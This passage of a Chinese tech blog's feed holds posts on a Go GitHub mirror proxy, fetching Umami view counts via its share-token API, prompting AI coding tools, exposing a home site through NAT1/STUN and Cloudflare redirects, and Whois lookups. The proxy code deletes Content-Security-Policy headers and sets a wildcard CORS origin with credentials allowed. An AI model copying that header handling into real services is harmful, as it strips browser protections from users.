		http.Error(w, fmt.Sprintf(&amp;quot;Proxy Error: %v&amp;quot;, err), http.StatusBadGateway)
		return
	}
	defer resp.Body.Close()

	&#x2F;&#x2F; 读取响应体
	body, err := io.ReadAll(resp.Body)
	if err != nil {
		http.Error(w, fmt.Sprintf(&amp;quot;Failed to read response: %v&amp;quot;, err), http.StatusInternalServerError)
		return
	}

	&#x2F;&#x2F; 处理响应内容
	contentType := resp.Header.Get(&amp;quot;Content-Type&amp;quot;)
	modifiedBody := modifyResponse(body, contentType, hostPrefix, currentHost)

	&#x2F;&#x2F; 设置响应头（排除压缩相关头部）
	for key, values := range resp.Header {
		&#x2F;&#x2F; 跳过压缩相关的头部，因为Go已经自动解压缩了内容
		if key == &amp;quot;Content-Encoding&amp;quot; || key == &amp;quot;Content-Length&amp;quot; {
			continue
		}
		for _, value := range values {
			w.Header().Add(key, value)
		}
	}

	&#x2F;&#x2F; 设置CORS和缓存头
	w.Header().Set(&amp;quot;Access-Control-Allow-Origin&amp;quot;, &amp;quot;*&amp;quot;)
	w.Header().Set(&amp;quot;Access-Control-Allow-Credentials&amp;quot;, &amp;quot;true&amp;quot;)
	w.Header().Set(&amp;quot;Cache-Control&amp;quot;, &amp;quot;public, max-age=14400&amp;quot;)
	w.Header().Del(&amp;quot;Content-Security-Policy&amp;quot;)
	w.Header().Del(&amp;quot;Content-Security-Policy-Report-Only&amp;quot;)
	w.Header().Del(&amp;quot;Clear-Site-Data&amp;quot;)

	&#x2F;&#x2F; 设置正确的Content-Length
	w.Header().Set(&amp;quot;Content-Length&amp;quot;, fmt.Sprintf(&amp;quot;%d&amp;quot;, len(modifiedBody)))

	&#x2F;&#x2F; 设置状态码
	w.WriteHeader(resp.StatusCode)

	&#x2F;&#x2F; 写入响应
	w.Write(modifiedBody)
}

func main() {
	&#x2F;&#x2F; 创建路由处理器
	http.HandleFunc(&amp;quot;&#x2F;&amp;quot;, handleRequest)

	&#x2F;&#x2F; 启动服务器
	port := &amp;quot;:8080&amp;quot;
	log.Printf(&amp;quot;GitHub代理服务器启动在端口 %s&amp;quot;, port)
	log.Printf(&amp;quot;请确保你的域名已正确配置并指向此服务器&amp;quot;)

	if err := http.ListenAndServe(port, nil); err != nil {
		log.Fatal(&amp;quot;服务器启动失败:&amp;quot;, err)
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;继续放置 &lt;code&gt;go.mod&lt;&#x2F;code&gt; 。源码如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;go&quot;&gt;module github-proxy

go 1.19
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行。默认跑在8080端口&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;go run .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出以下日志即成功&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@localhost:~&#x2F;go_proxy# go run .
2025&#x2F;06&#x2F;20 23:13:17 GitHub代理服务器启动在端口 :8080
2025&#x2F;06&#x2F;20 23:13:17 请确保你的域名已正确配置并指向此服务器
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用Nginx或者OpenResty反向代理 &lt;code&gt;localhost:8080&lt;&#x2F;code&gt; 。配置域名，格式为 &lt;code&gt;gh.你的域名&lt;&#x2F;code&gt; 。我的配置如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;123a521d-2340-4433-b9fe-4965d46d4321.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;签发泛域名证书并且部署，配置完毕后如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b58b55fe-adbd-4d3e-8977-c3f7efaf0185.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;访问，现在你通过自己的域名+VPS代理访问Github。国内直连，无需梯子&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;fccbc8af-d2b1-479f-b32d-d0f023fd4c06.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>静态博客也想展示文章浏览量？当然可以！</title>
        <published>2025-06-18T00:00:00+00:00</published>
        <updated>2025-06-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/static-view/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/static-view/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/static-view/">&lt;p&gt;如果你用过WordPress，Halo等动态博客框架，你大概会在用户视角访问博文的时候看到浏览量这个信息。&lt;&#x2F;p&gt;
&lt;p&gt;这个原理很简单，因为动态博客依赖于一个VPS，只需要让用户每次访问的时候给浏览量+1即可。&lt;&#x2F;p&gt;
&lt;p&gt;那么如果我们是静态博客呢？&lt;&#x2F;p&gt;
&lt;p&gt;我们可以依赖一些第三方服务，比如&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://umami.is&quot;&gt;Umami Cloud&lt;&#x2F;a&gt;。在你的静态博客的head注入一个js，这样你就可以看到你的站点分析了，类似下图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2c1e7d81-6f6d-4323-b0de-013b2d168be1.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在我们确实可以看到每个文章（即&#x2F;posts&#x2F;xxx）的访问量了，但是我们要如何展示给用户呢？&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ni-xiang-umamide-zhi-du-ye-mian&quot;&gt;逆向Umami的只读页面！&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;感谢nightNya提供的方案，你是天才！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;首先我们启用分享URL&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;023f687b-6e4a-46d8-b7f2-4778f20ebe99.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注意这里的 &lt;code&gt;7PoDRgCzHFTs2vWB&lt;&#x2F;code&gt; ，每个站点都不一样&lt;&#x2F;p&gt;
&lt;p&gt;接着我们请求 &lt;code&gt;https://us.umami.is&#x2F;api&#x2F;share&#x2F;7PoDRgCzHFTs2vWB&lt;&#x2F;code&gt;，得到&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;json&quot;&gt;{
  &amp;quot;websiteId&amp;quot;: &amp;quot;a66a5fd4-98b0-4108-8606-cb7094f380ac&amp;quot;,
  &amp;quot;token&amp;quot;: &amp;quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJhNjZhNWZkNC05OGIwLTQxMDgtODYwNi1jYjcwOTRmMzgwYWMiLCJpYXQiOjE3NTA4MDIwMzB9.X5GQT5kslh6r25sFlap4Asz1NDA7mN3kcZW8wqbrnBc&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再接着我们请求，携带请求头 &lt;code&gt;x-umami-share-token&lt;&#x2F;code&gt; 值为上一步获得的Token&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;https://us.umami.is&#x2F;api&#x2F;websites&#x2F;a66a5fd4-98b0-4108-8606-cb7094f380ac&#x2F;stats?startAt=0&amp;amp;endAt=1750805999999&amp;amp;unit=hour&amp;amp;timezone=Asia&#x2F;Hong_Kong&amp;amp;url=&#x2F;posts&#x2F;cf-fastip&#x2F;&amp;amp;compare=false&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里解释几个关键Params，其他的照搬&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;startAt：统计开始时间。Unix时间戳，我们填写为0让Umami从1970年开始统计&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;endAt：统计结束时间。Unix时间戳，我们可以使用 &lt;code&gt;Date.now()&lt;&#x2F;code&gt; ，即当前时间，和startAt参数联动即可实现统计总浏览量&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;url：要查询的路径，填写为你的文章页去除了Host的路径，如 &lt;code&gt;&#x2F;posts&#x2F;hello&lt;&#x2F;code&gt; 。注意！Umami会将 &lt;code&gt;&#x2F;posts&#x2F;hello&lt;&#x2F;code&gt; 和 &lt;code&gt;&#x2F;posts&#x2F;hello&#x2F;&lt;&#x2F;code&gt; 视为两个不同的路径，请注意你的博客框架是否使用 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;你会得到&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;json&quot;&gt;{
    &amp;quot;pageviews&amp;quot;: {
        &amp;quot;value&amp;quot;: 1655,
        &amp;quot;prev&amp;quot;: 0
    },
    &amp;quot;visitors&amp;quot;: {
        &amp;quot;value&amp;quot;: 343,
        &amp;quot;prev&amp;quot;: 0
    },
    &amp;quot;visits&amp;quot;: {
        &amp;quot;value&amp;quot;: 411,
        &amp;quot;prev&amp;quot;: 0
    },
    &amp;quot;bounces&amp;quot;: {
        &amp;quot;value&amp;quot;: 183,
        &amp;quot;prev&amp;quot;: 0
    },
    &amp;quot;totaltime&amp;quot;: {
        &amp;quot;value&amp;quot;: 30592,
        &amp;quot;prev&amp;quot;: 0
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;pageviews.vlaue&lt;&#x2F;code&gt; 即浏览量。 &lt;code&gt;visits.value&lt;&#x2F;code&gt; 即访问次数。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tips：浏览量记录为任意用户只要访问了则计数一次。而访问数记录不会记录单IP多次重复访问和同一时间段的多次请求不同页面&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Enjoy it！&lt;&#x2F;p&gt;
&lt;p&gt;最终效果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ce822960-f7ef-444e-84d1-fa0758e2b5e8.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>AI写不出优质的代码？其实是你引导错了！</title>
        <published>2025-06-17T00:00:00+00:00</published>
        <updated>2025-06-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/aicode-prompt/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/aicode-prompt/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/aicode-prompt/">&lt;p&gt;先搞清楚你自己具体的需求。比如代码用什么语言编写？用什么技术栈？要具体实现什么功能？应用的场景是什么？是前端、后端还是全栈等等&lt;&#x2F;p&gt;
&lt;p&gt;逻辑清晰，简洁干练地表述你的需求。&lt;&#x2F;p&gt;
&lt;p&gt;比如： &lt;code&gt;编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果不确定AI是否理解了你的需求，可以CallBack一下，避免AI假装理解了你的需求然后一通乱写，比如上面的表述可以改为：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)。你明白了吗，请告诉我你将要如何完成这个任务，在我批准前请不要编写代码&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;有时候表达模糊实际上是好事。&lt;&#x2F;p&gt;
&lt;p&gt;因为你一旦开始描述创建一个什么什么变量，赋值为多少多少的时候，实际上你不是在用AI写代码，而是让AI将你的自然语言代码转换为编程语言代码，这就不是一个创造式的需求，而是一个翻译类的需求，最终代码生成质量的好坏完全取决于你的技术知识储备和逻辑思维是否强大。&lt;&#x2F;p&gt;
&lt;p&gt;所以，在面对大部分的需求，我们可以先大致描述一个框架，确认AI的方向正确后慢慢编写项目&lt;&#x2F;p&gt;
&lt;p&gt;AI也会犯错，并且极其容易瞎猜。不要尽信AI给出的内容，在涉及到你不懂的知识时，我们可以翻阅&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://wikipedia.org&quot;&gt;维基百科&lt;&#x2F;a&gt;等权威知识网来验证&lt;&#x2F;p&gt;
&lt;p&gt;不要让AI一直自我检查。现代的AI IDE中，大部分已经实现了Agent模式，也就是： &lt;code&gt;用户提出需求 -&amp;gt; AI分析并实现需求 -&amp;gt; AI自动Debug -&amp;gt; 最终交付用户项目&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;但是在我半年的AI IDE使用经验中，如果代码出现Bug，请不要说类似： &lt;code&gt;这个代码跑不了，帮我看看&lt;&#x2F;code&gt; 这样的话，我仍然建议你将完整的报错信息复制粘贴给AI并且要求他分析并解决，例如：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;[报错信息]它报错了，请根据报错信息深度分析一下问题导致的原因，并给我一个解决方案&lt;&#x2F;code&gt;，而不是让AI自身Debug。&lt;&#x2F;p&gt;
&lt;p&gt;因为有时候程序的报错可能只是一个简单的环境变量没配置，或者是你没有使用一个主流的方案，单纯让AI自我检讨只会让AI选择它最认为出错的地方。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;换位思考一下，你有个甲方一直告诉你这个方案不行但是就不告诉你哪里不行你头不头疼。但是AI毕竟不是人类，它只会在它认为正确的道路上越走越远，运气好迭代几次Bug解决了，运气不好到达了IDE设置的迭代次数限制然后给你又新写了一坨新史山，然后你花钱买的请求数也就这样浪费了&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后，请善用AI，你也可以询问AI： &lt;code&gt;你的最佳调用方式是什么&lt;&#x2F;code&gt;。&lt;del&gt;当然，她也有可能欺骗你&lt;&#x2F;del&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;aitui-jian&quot;&gt;AI推荐&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://chatgpt.com&quot;&gt;ChatGPT&lt;&#x2F;a&gt;：快速，不限额。适合解决你的疑问
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;c2e37057-78c9-403f-b3af-e84bdad98f1e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://claude.ai&quot;&gt;Claude&lt;&#x2F;a&gt;：相比于GPT更强大，更擅长编写代码，尤其是前端，目前大部分AI IDE都接入了Claude 3.5 Sonnet及以上的模型，非常适合编写可拆解，易维护的小脚本&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f9adcc5e-64bc-48f0-8845-893242abec33.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://code.visualstudio.com&#x2F;&quot;&gt;VS Code（Github Copilot）&lt;&#x2F;a&gt;：AI IDE。由微软开发，免费用户可以使用Claude 3.5 Sonnet模型，但是份额较少。Pro计划10USD&#x2F;m，仅支持Paypal和海外卡支付&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;70b6f916-ba70-45a6-b572-3b32214f0c1f.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.cursor.com&quot;&gt;Cursor&lt;&#x2F;a&gt;：AI IDE。由Anysphere开发，免费用户仅能使用Auto模型（一般不会分配到Claude模型）。Pro计划10USD&#x2F;m，仅支持Paypal和海外卡支付&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;4287002f-eb0e-43b0-87b7-1fa43c37a497.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.trae.ai&quot;&gt;Trae（国际版）&lt;&#x2F;a&gt;：AI IDE。由字节跳动开发，需要国外IP。新用户Pro计划开通首月仅需3USD&#x2F;m（之后为10USD&#x2F;m），支持支付宝和海外卡支付。本人目前在用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;40b76f69-2c50-49d0-b861-05f8879accab.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;写任何项目都完全不推荐使用网页版的任何大模型编写！请使用AI IDE！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>NAT1开放内网网站</title>
        <published>2025-05-31T00:00:00+00:00</published>
        <updated>2025-05-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/nat1-web/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/nat1-web/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/nat1-web/">&lt;iframe src=&quot;&#x2F;&#x2F;player.bilibili.com&#x2F;player.html?isOutside=true&amp;aid=114597528936170&amp;bvid=BV1hY7szUEbu&amp;cid=30235755189&amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;&#x2F;iframe&gt;
&lt;h1 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;7c517b72-8287-4707-8dff-12690a71d592.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;chuang-jian-bi-yao-de-cloudflare-apiling-pai&quot;&gt;创建必要的Cloudflare API令牌&lt;&#x2F;h3&gt;
&lt;p&gt;创建拥有如下图权限的令牌，使得Lucky可以使用此令牌设置DDNS、签发SSL、更新Cloudflare动态重定向&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;890468f0-7e7f-42b9-ba57-f98e3b964626.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chuang-jian-ji-di-cloudflaredong-tai-zhong-ding-xiang-gui-ze&quot;&gt;创建基底Cloudflare动态重定向规则&lt;&#x2F;h3&gt;
&lt;p&gt;如图填写，替换为你的域名
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9c4a1cb0-d1c6-4e9b-b2bb-dfd6b6fe6306.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;表达式： &lt;code&gt;wildcard_replace(http.request.full_uri, &quot;*:&#x2F;&#x2F;*.072103.xyz&#x2F;*&quot;, &quot;https://${2}.stun.072103.xyz:6666&#x2F;${3}&quot;)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;观察网址，记录下如下图的数据&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;bdd05652-4676-418f-b8aa-1dfc5b3dfab1.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;打开开发者工具后，再保存，确保抓到这样的包，保存备用
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;60e191a3-c4d8-40a2-b9b7-13af0fae38ab.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将 &lt;code&gt;dash.cloudflare.com&#x2F;api&lt;&#x2F;code&gt; 改为 &lt;code&gt;api.cloudflare.com&#x2F;client&lt;&#x2F;code&gt; 。将刚才获得的红框内的内容填写到 &lt;code&gt;rules&lt;&#x2F;code&gt; 后面&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b1a7a07c-7b4b-49ff-a152-938e30d93ee6.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你不是第一次更新，可能会带有一个 &lt;code&gt;&quot;position&quot;:{&quot;index&quot;:1},&lt;&#x2F;code&gt; 删除它，否则后面的WebHook将会出错。&lt;&#x2F;p&gt;
&lt;p&gt;将我们硬编码的 &lt;code&gt;6666&lt;&#x2F;code&gt; 端口改为Lucky STUN的变量 &lt;code&gt;#{port}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;最终我们记录了以下信息&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;https://api.cloudflare.com&#x2F;client&#x2F;v4&#x2F;zones&#x2F;f305febd3a25b5bb3a46b802328a75a8&#x2F;rulesets&#x2F;35218f125f7f4421b4c76314464689a2&#x2F;rules&#x2F;17228a4add70429c9cdd38eb7fec1d02

{&amp;quot;description&amp;quot;:&amp;quot;stun&amp;quot;,&amp;quot;expression&amp;quot;:&amp;quot;(http.host wildcard \&amp;quot;*.072103.xyz\&amp;quot; and not http.host in {\&amp;quot;pic.072103.xyz\&amp;quot; \&amp;quot;hpic.072103.xyz\&amp;quot;})&amp;quot;,&amp;quot;action&amp;quot;:&amp;quot;redirect&amp;quot;,&amp;quot;action_parameters&amp;quot;:{&amp;quot;from_value&amp;quot;:{&amp;quot;status_code&amp;quot;:301,&amp;quot;preserve_query_string&amp;quot;:true,&amp;quot;target_url&amp;quot;:{&amp;quot;expression&amp;quot;:&amp;quot;wildcard_replace(http.request.full_uri, \&amp;quot;*:&#x2F;&#x2F;*.072103.xyz&#x2F;*\&amp;quot;, \&amp;quot;https://${2}.stun.072103.xyz:#{port}&#x2F;${3}\&amp;quot;)&amp;quot;}}},&amp;quot;enabled&amp;quot;:true}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;rang-cloudflarejie-guan-072103-xyz-de-liu-liang&quot;&gt;让Cloudflare接管 *.072103.xyz 的流量&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;72dd5daa-a10f-4fa1-816f-8be18abc2587.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-lucky-ddns&quot;&gt;配置Lucky DDNS&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;bf6eafd3-3f7b-4a71-8c4f-c0bd34703eee.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-lucky-ssl-tlszheng-shu&quot;&gt;配置Lucky SSL&#x2F;TLS证书&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;80fc1bda-334d-4444-b063-2d3202de8296.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-lucky-webfu-wu&quot;&gt;配置Lucky Web服务&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;8f64210e-2bb3-4014-96e7-3af577a722f0.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-lucky-stun&quot;&gt;配置Lucky STUN&lt;&#x2F;h3&gt;
&lt;p&gt;注：我这里使用了路由器的端口转发，将Lucky的16666（Web服务）端口转发到了路由器的17777端口。如果你不会端口转发，请&lt;strong&gt;不要启用&lt;&#x2F;strong&gt; &lt;code&gt;不使用Lucky内置端口转发&lt;&#x2F;code&gt; 并且&lt;strong&gt;目标端口&lt;&#x2F;strong&gt;填写16666&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;88f5e404-271b-4d20-98c7-b7f39a9247b2.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-webhook&quot;&gt;配置WebHook&lt;&#x2F;h3&gt;
&lt;p&gt;如图配置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;559bce4c-ed44-4523-a623-7058ef1082dc.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接口地址：你之前记录的 &lt;code&gt;https://api.cloudflare.com&#x2F;...&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;请求方法： &lt;code&gt;PATCH&lt;&#x2F;code&gt; 或者 &lt;code&gt;POST&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;请求头：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Authorization: Bearer 你的API令牌
Content-Type: application&#x2F;json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;请求体：你之前记录的 &lt;code&gt;{&quot;description&quot;:...&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;end&quot;&gt;End.&lt;&#x2F;h1&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>关于Whois查询那点事</title>
        <published>2025-05-28T00:00:00+00:00</published>
        <updated>2025-05-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/whois/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/whois/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/whois/">&lt;h3 id=&quot;whoischa-xun-shi-shen-me&quot;&gt;Whois查询是什么？&lt;&#x2F;h3&gt;
&lt;p&gt;如果了解域名，就知道域名一旦被注册就会在Whois服务器留下一些相关信息（比如：注册方，注册地，注册时间等等），可以被公开查询。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ru-he-kuai-su-cha-xun-yi-ge-yu-ming-de-whois&quot;&gt;如何快速查询一个域名的Whois？&lt;&#x2F;h3&gt;
&lt;p&gt;你是否用过某些Whois查询网站？如图为IP.SB的WHOIS查询服务，可以通过 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://ip.sb&#x2F;whois&quot;&gt;WHOIS - IP.SB&lt;&#x2F;a&gt; 快速查询一个域名的Whois&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;578a2c58-5ad4-452a-be8b-a186a64fa058.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-pian&quot;&gt;正片&lt;&#x2F;h1&gt;
&lt;p&gt;那么如果我们想自建一个Whois查询服务放到我们的Bot或者网页上，我们要怎么做呢？&lt;&#x2F;p&gt;
&lt;p&gt;你也许已经知道在Linux系统上专门有一个包就叫做 &lt;code&gt;whois&lt;&#x2F;code&gt; 我们可以方便用它来查询Whois。我们现在就可以试试&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;d198a5cf-37e0-410e-9f9b-df736725eb7b.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到，成功查询到了 &lt;code&gt;baidu.com&lt;&#x2F;code&gt; 的Whois信息。但是实际上这个命令的输出有这么长&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3efb10bd-042a-4a22-82c9-e947d591e10d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
